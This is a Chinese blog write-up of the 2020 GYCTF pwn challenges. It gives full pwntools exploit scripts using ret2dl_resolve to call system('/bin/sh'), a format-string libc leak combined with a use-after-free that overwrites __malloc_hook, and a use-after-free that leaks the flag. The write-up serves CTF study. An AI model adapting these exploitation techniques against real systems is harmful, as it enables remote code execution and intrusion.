• 2020_gyctf_新春公益_pwn_复现


    0x1 BFnote

    程序分析

    保护全开,看似无法利用,但其实还有 ret2_dl_runtime_resolve 可以利用,至于 canary 的绕过,出题人的博客写得很详细春秋杯网络安全公益联赛 BFnote出题小结

    exp

    from pwn_debug import *
    
    file_name = './BFnote'
    libc_name = ''
    context.binary = file_name
    context.log_level = 'debug'
    #context.terminal = ['./hyperpwn/hyperpwn-client.sh']
    pdbg = pwn_debug(file_name)
    pdbg.local('')
    pdbg.remote('')
    p = pdbg.run('local')
    
    elf = pdbg.elf
    libc = pdbg.libc
    
    canary=0xdeadbe00
    postscript=0x804A060
    
    ret2dl_resolve=pdbg.ret2dl_resolve()
    addr,resolve_data,resovle_call=ret2dl_resolve.build_normal_resolve(postscript + 0x3a8,'system',postscript + 0x3a8 + 0x400)
    
    print 'addr:' + hex(addr)
    #addr:0x804a428
    print 'resolve_data_len:' + str(len(resolve_data))
    #resolve_data_len:38
    
    payload1="1"*0x32+p32(canary)+p32(0)+p32(addr + 4 + len(resolve_data) + 0x44)
    
    p.recvuntil('description : ')
    p.send(payload1)
    
    payload2 = "s" * (0x3a8 + 0x20) + resolve_data + 'a' * 0x44 + resovle_call
    payload2 += p32(0) + p32(postscript +len(payload2) + 8) + '/bin/shx00'
    
    
    #gdb.attach(p)
    
    p.recvuntil('postscript : ')
    p.send(payload2)
    
    p.recvuntil('notebook size : ')
    p.sendline(str(0x200000))
    
    p.recvuntil('title size : ')
    p.sendline(str(0x20170c-0x10))
    
    p.recvuntil('please re-enter :
    ')
    p.sendline(str(100))
    
    p.recvuntil('your title : ')
    p.sendline('2222')
    
    p.recvuntil('your note : ')
    p.send(p32(canary))
    
    p.interactive()
    

    ps:这里 resolve_data 跟 resovle_call 之间需要填充 0x44 个字节,这个是按0ctf_babystack_ret2dl_resolve的 exp 写的,具体原因以后分析。

    0x2 interested

    程序分析

    main:
          code = input_code();
    
    input_code:
          printf("> Input your code please:", 0LL);
          read(0, s1, 0x13uLL);
          if ( strncmp(s1, "OreOOrereOOreO", 0xEuLL) )
    
    0.Check  Code:
          printf("# Your Code is ");
          printf(code);
    

    main 中 code 可以输入 0x13 个字节,而 OreOOrereOOreO 只有 14 个字节,所以后面几个字节可以写入格式化字符串 leak libc 。

    3.Delete Oreo:
          free(addr[idx]);
          free(re_addr[idx]);
    

    delete 中没有将指针置 0 ,存在 uaf 。

    利用过程

    先格式化字符串漏洞 leak libc ,然后利用 uaf fast bin attack 打 malloc_hook 为 onegadget 即可 getshell 。

    exp

    from pwn_debug import *
    
    file_name = './interested'
    libc_name = '/home/ki/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6'
    context.binary = file_name
    #context.log_level = 'debug'
    #context.terminal = ['./hyperpwn/hyperpwn-client.sh']
    pdbg = pwn_debug(file_name)
    pdbg.local('/home/ki/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6',
    '/home/ki/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-linux-x86-64.so.2')
    pdbg.remote('0.0.0.0',9997)
    p = pdbg.run('remote')
    
    #elf = pdbg.elf
    #libc = pdbg.libc
    elf = ELF(file_name)
    libc = ELF(libc_name)
    
    def add(length,O,re_length,RE):
    	p.sendlineafter("> Now please tell me what you want to do :",str(1))
    	p.sendlineafter("> O's length : ",str(length))
    	p.sendafter("> O : ",O)
    	p.sendlineafter("> RE's length : ",str(re_length))
    	p.sendafter("> RE : ",RE)
    
    def edit(idx,O,RE):
    	p.sendlineafter("> Now please tell me what you want to do :",str(2))
    	p.sendlineafter("> Oreo ID : ",str(idx))
    	p.sendafter("> O : ",O)
    	p.sendafter("> RE : ",RE)
    
    def delete(idx):
    	p.sendlineafter("> Now please tell me what you want to do :",str(3))
    	p.sendlineafter("> Oreo ID : ",str(idx))
    
    def show(idx):
    	p.sendlineafter("> Now please tell me what you want to do :",str(4))
    	p.sendlineafter("> Oreo ID : ",str(idx))
    
    p.sendafter('> Input your code please:','OreOOrereOOreO' + '%17$p')
    p.sendlineafter("> Now please tell me what you want to do :",str(0))
    p.recvuntil('OreOOrereOOreO0x')
    __libc_start_main_240 = int(p.recv(12),16)
    print '__libc_start_main_240:' + hex(__libc_start_main_240)
    
    libc_base = __libc_start_main_240 - libc.symbols['__libc_start_main'] - 240
    one_gadget = [0x45226,0x4527a,0xf0364,0xf1207]
    onegadget = libc_base + one_gadget[3]
    malloc_hook = libc_base + libc.symbols['__malloc_hook']
    
    print 'onegadget:' + hex(onegadget)
    
    add(0x60,'aaaa',0x10,'bbbb') # 1
    delete(1)
    edit(1,p64(malloc_hook - 0x23),'x00')
    add(0x60,'aaaa',0x10,'aaaa') # 2
    add(0x60,'aaaa',0x10,'bbbb') # 3
    edit(3,'a' * 0x13 + p64(onegadget),'bbbb')
    
    p.sendlineafter("> Now please tell me what you want to do :",str(1))
    p.sendlineafter("> O's length : ",str(0x30))
    
    
    #gdb.attach(p)
    p.interactive()
    
    

    0x3 borrow_stack

    这个之前已经写过 wp 了
    gyctf_2020_borrowstack wp

    0x4 Some_thing_interesting

    程序分析

    read_flag:
          stream = fopen("/flag", "r");
          fgets(flag, 45, stream);
    

    程序开头将 flag 读入 bss 段中。

    3.Delete Banana:
          free(*(void **)addr[idx]);
          free(*((void **)addr[idx] + 1));
    

    指针没有置 0 ,存在 uaf 。

    4.View   Banana:
          printf("# Banana's ba is %s
    ", *(_QWORD *)addr[idx]);
          printf("# Banana's na is %s
    ", *((_QWORD *)addr[idx] + 1));
    

    将两个指针的内容输出。

    利用过程

    将指向 flag 的指针布置到 uaf 的 chunk 上,然后通过 show 打印出 flag 的内容即可。

    exp

    from pwn_debug import *
    
    file_name = './excited'
    libc_name = '/home/ki/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6'
    context.binary = file_name
    context.log_level = 'debug'
    #context.terminal = ['./hyperpwn/hyperpwn-client.sh']
    pdbg = pwn_debug(file_name)
    pdbg.local('/home/ki/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6',
    '/home/ki/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-linux-x86-64.so.2')
    pdbg.remote('0.0.0.0',9997)
    p = pdbg.run('remote')
    
    #elf = pdbg.elf
    #libc = pdbg.libc
    elf = ELF(file_name)
    libc = ELF(libc_name)
    
    def add(ba_length,ba,na_length,na):
        p.sendlineafter('> Now please tell me what you want to do :',str(1))
        p.sendlineafter("> ba's length : ",str(ba_length))
        p.sendafter('> ba : ',ba)
        p.sendlineafter("> na's length : ",str(na_length))
        p.sendafter("> na : ",na)
    
    def delete(idx):
        p.sendlineafter('> Now please tell me what you want to do :',str(3))
        p.sendlineafter("> Banana ID : ",str(idx))
    
    def show(idx):
        p.sendlineafter('> Now please tell me what you want to do :',str(4))
        p.sendlineafter("> SCP project ID : ",str(idx))
    
    add(0x20,'aaaa',0x20,'bbbb') # 0
    add(0x20,'aaaa',0x20,'bbbb') # 1
    delete(0)
    delete(1)
    
    add(0x10, p64(0x6020a8), 0x20, 'bbb') # 2
    show(0)
    
    #gdb.attach(p)
    p.interactive()
    

    未完待续...懒得更了,感觉都不难

  • 相关阅读:
    2008年秋季毕业设计总体安排
    2008秋季计算机软件基础0903课堂用例(1)
    收藏:微软新技术不断,开发者如何面对?
    2008秋季计算机软件基础0901课堂用例
    2008秋季计算机软件基础0908课堂用例(1)
    WebBrows仿造Cookie
    ScriptCase价格调整通知
    JavaMail API简介
    Spring攻略学习笔记(3.05)重用切入点定义
    verletjs:超酷的开源JavaScript物理引擎
  • 原文地址:https://www.cnblogs.com/luoleqi/p/13642648.html
Copyright © 2020-2023  润新知